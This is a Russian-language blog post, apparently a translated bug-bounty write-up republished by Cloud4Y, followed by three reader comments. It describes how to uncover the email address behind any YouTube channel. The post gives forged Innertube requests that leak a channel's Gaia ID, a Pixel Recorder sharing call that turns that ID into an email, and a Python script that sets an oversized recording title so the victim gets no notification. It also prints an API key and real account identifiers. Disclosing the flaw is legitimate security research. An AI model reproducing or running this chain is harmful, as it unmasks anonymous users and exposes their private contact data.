Некоторое время назад я копался в документе Internal People API (Staging) Google, и вдруг заметил кое-что интересное:

 "BlockedTarget": {

      "id": "BlockedTarget",

      "description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",

      "type": "object",

      "properties": {

        "profileId": {

          "description": "Required. The obfuscated Gaia ID of the user targeted by the block.",

          "type": "string"

        },

        "fallbackName": {

          "description": "Required for BlockPeopleRequest. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes:  Required for BlockPeopleRequest (may not currently be enforced by validation, but should be provided)  For UnblockPeopleRequest this does not need to be set.",

          "type": "string"

        }

      }

    },

Похоже, что функциональность блокировки пользователей Google‑wide была основана на каком‑то мутном Gaia ID, а также на отображаемом имени для этого заблокированного пользователя. Gaia ID — это просто идентификатор учётной записи Google

Вроде не критично. Но потом я вспомнил про эту страницу поддержки

Итак, если вы заблокируете кого‑то на YouTube, то можете раскрыть идентификатор его аккаунта Google? Я проверил. Зашёл на случайную трансляцию, заблокировал пользователя и, конечно же, он появился в https://myaccount.google.com/blocklist

В качестве резервного имени было установлено название канала Mega Prime, а идентификатором профиля был замаскированный идентификатор Gaia 107 183 641 464 576 740 691

Это было очень странно, потому что YouTube никогда не должен раскрывать базовый Google аккаунт YouTube канала. В прошлом было несколько уязвимостей, позволяющих перевести их на адрес электронной почты, поэтому я был уверен, что в каком‑то старом неизвестном продукте Google все ещё сохранились Gaia ID для электронной почты.

Эскалируем до 4 миллиардов каналов YouTube

Итак, мы можем слить Gaia ID любого пользователя чата, но распространяется ли это на все каналы YouTube? Как оказалось, когда вы нажимаете на 3 точки, чтобы просто открыть контекстное меню, запускается запрос

Запрос

POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2

Host: www.youtube.com

Cookie: <redacted>

Ответ

HTTP/2 200 OK

Content-Type: application/json; charset=UTF-8

Server: scaffolding on HTTPServer2

{

  ...

  "serviceEndpoint": {

    ...

    "commandMetadata": {

      "webCommandMetadata": {

        "sendPost": true,

        "apiUrl": "/youtubei/v1/live_chat/moderate"

      }

    },

    "moderateLiveChatEndpoint": {

      "params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="

    }

  }

  ...

}

params — это не что иное, как закодированный в base64 protobuf, который является распространённым форматом кодирования, используемым в Google.

Если мы попробуем расшифровать эти параметры moderateLiveChatEndpoint:

$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64

 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw

1 {

  5 {

    1: "UChs0pSaEoNLV4mevBFGaoKA"

    2: "36YnV9STBqc"

  }

}

10: 0

11: 1

12 {

  1: "113907466537670370590"

  2: "SE-aYOb-uCg059qHRis_ow"

}

14: 0

На самом деле он просто содержит Gaia ID пользователя, которого мы хотим заблокировать, то есть нам даже не нужно его окончательно блокировать!

Давайте также проверим параметры запроса get_item_context_menu:

$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw

3 {

  5 {

    1: "UChs0pSaEoNLV4mevBFGaoKA"

    2: "36YnV9STBqc"

  }

}

6 {

  1: "UCSE-aYOb-uCg059qHRis_ow"

}

Кажется, здесь содержатся только идентификатор канала, который мы блокируем, идентификатор видео прямой трансляции и идентификатор автора прямой трансляции. Давайте попробуем подделать параметры запроса с идентификатором канала нашей цели.

Для  теста мы будем использовать тематический канал, поскольку он автоматически генерируется YouTube и гарантированно не содержит сообщений в чате.

$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64

R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=

‎Тестирование на /youtubei/v1/live_chat/get_item_context_menu:

...

"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}

...

echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw

1 {

  5 {

    1: "UChs0pSaEoNLV4mevBFGaoKA"

    2: "36YnV9STBqc"

  }

}

10: 0

11: 1

12 {

  1: "103261974221829892167"

  2: "D2LZAT1j1DyVXq2R2BdusQ"

}

14: 0

Мы можем раскрыть Gaia ID канала — 103 261 974 221 829 892 167.

Недостающий элемент пазла: Pixel Recorder

Я рассказал своему другу Натану об раскрытии Gaia ID YouTube, и мы начали изучать старые забытые продукты Google, поскольку они, вероятно, содержали какую‑то ошибку или логический изъян для преобразования Gaia ID в электронную почту. Pixel Recorder был одним из них. Натан сделал тестовую запись на своём телефоне Pixel и синхронизировал её со аккаунтом Google, чтобы мы могли получить доступ к конечным точкам в интернете по адресу https://recorder.google.com:

Когда мы попытались отправить запись на тестовую электронную почту, нас осенило:

Запрос

POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2

Host: pixelrecorder-pa.clients6.google.com

Cookie: <redacted>

Content-Length: 80

Authorization: <redacted>

X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro

Content-Type: application/json+protobuf

Referer: https://recorder.google.com/

["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]

Ответ

HTTP/2 200 OK

Content-Type: application/json+protobuf; charset=UTF-8

Server: ESF

Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]]

Эта конечная точка принимала зашифрованный идентификатор Gaia и... возвращала адрес электронной почты?!

Мы протестировали это с помощью замаскированного идентификатора Gaia 107 183 641 464 576 740 691, который получили, заблокировав этого пользователя на YouTube некоторое время назад. И это сработало:

HTTP/2 200 OK

Content-Type: application/json+protobuf; charset=UTF-8

Server: ESF

Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"redacted@gmail.com"],[null,2,"vrptest2@gmail.com"]]]

Небольшая проблема: предотвращение уведомления жертвы

Похоже, что всякий раз, когда мы делимся записью с жертвой, она получает электронное письмо, которое выглядит примерно так:


Это плохо, и это значительно снизило бы значимость ошибки. Во всплывающем окне общего доступа, похоже, нет возможности отключить уведомления.

Япопытался передать полный протокол запроса через свой инструмент req2proto, но там не было ничего об отключении уведомления по электронной почте:

syntax = "proto3";

package java.com.google.wireless.android.pixel.recorder.protos;

import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";

message WriteShareListRequest {

  string recording_id = 1;

  string delete_obfuscated_gaia_ids = 2;

  ShareUser update_shared_users = 3;

  string sharing_message = 4;

}

message ShareUser {

  string obfuscated_gaia_id = 1;

  java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;

  string email = 3;

}

Даже попытка добавить и удалить пользователя одновременно не сработала, письмо всё равно отправлялось. И тогда мы поняли — в тему письма включается название нашей записи, возможно, если название нашей записи будет слишком длинным, письмо не получится отправить.

Мы написали быстрый скрипт на Python, чтобы это проверить:

import requests

BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"

headers = {

    "Host": "pixelrecorder-pa.clients6.google.com",

    "Content-Type": "application/json+protobuf",

    "X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",

    "Origin": "https://recorder.google.com"

}

def get_recording_uuid(share_id: str):

    payload = f"[\"{share_id}\"]"

    response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)

    if response.status_code != 200:

        print("unknown error when getting recording uuid: ", response.json())

        exit(1)

    try:

        response = response.json()

    except:

        print('can\'t parse response when getting recording uuid: ', response.text)

        exit(1)

    return response["recording"]["uuid"]

def update_recording_title(share_id: str):

    x = 'X'*2500000 # 2.5 million char long title name!

    payload = f'["{share_id}","{x}"]'

    response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)

    if response.status_code != 200:

        print("unknown error when updating recording title: ", response.json())

        exit(1)

def main():

    share_id = input("Enter share ID: ")

    headers["Cookie"] = input("Cookie header:" )

    headers["Authorization"] = input("Authorization header: ")

    uuid = get_recording_uuid(share_id)

    print("UUID:", uuid)

    update_recording_title(uuid)

    print("Updated recording title successfully.")

if name == "__main__":

    main()

.. и название записи теперь стало длиной в 2,5 миллиона букв! К счастью, со стороны сервера не было никаких ограничений на длину имени записи.

Мы попробовали поделиться записью с другим тестовым пользователем... бинго! Уведомление по электронной почте не пришло.

Резюмируем

По сути, у нас есть полная цепочка атак, нам просто нужно собрать её воедино.

  1. Раскрыть замаскированного идентификатора Gaia канала YouTube из конечной точки Innertube/get_item_context_menu

  2. Поделиться записью Pixel с очень длинным именем, чтобы преобразовать идентификатор Gaia в email.

  3. Удалить цель из записи Pixel (очистка)

Вот так просто.

Спасибо за внимание. Ваш Cloud4Y. Читайте нас здесь или в Telegram‑канале!

Комментарии (3)


  1. Ziptar
    13.02.2025 09:37

    Штош, снова пора почистить комменты на ютубе


    1. Denis1121
      13.02.2025 09:37

      Если переживаешь за конфиденциальность, то лучше их вообще не оставлять. И даже в этом случае 100% анонимности не будет.


      1. Ziptar
        13.02.2025 09:37

        100% безопасность бывает только в могиле, а 100% анонимность - только в братской могиле.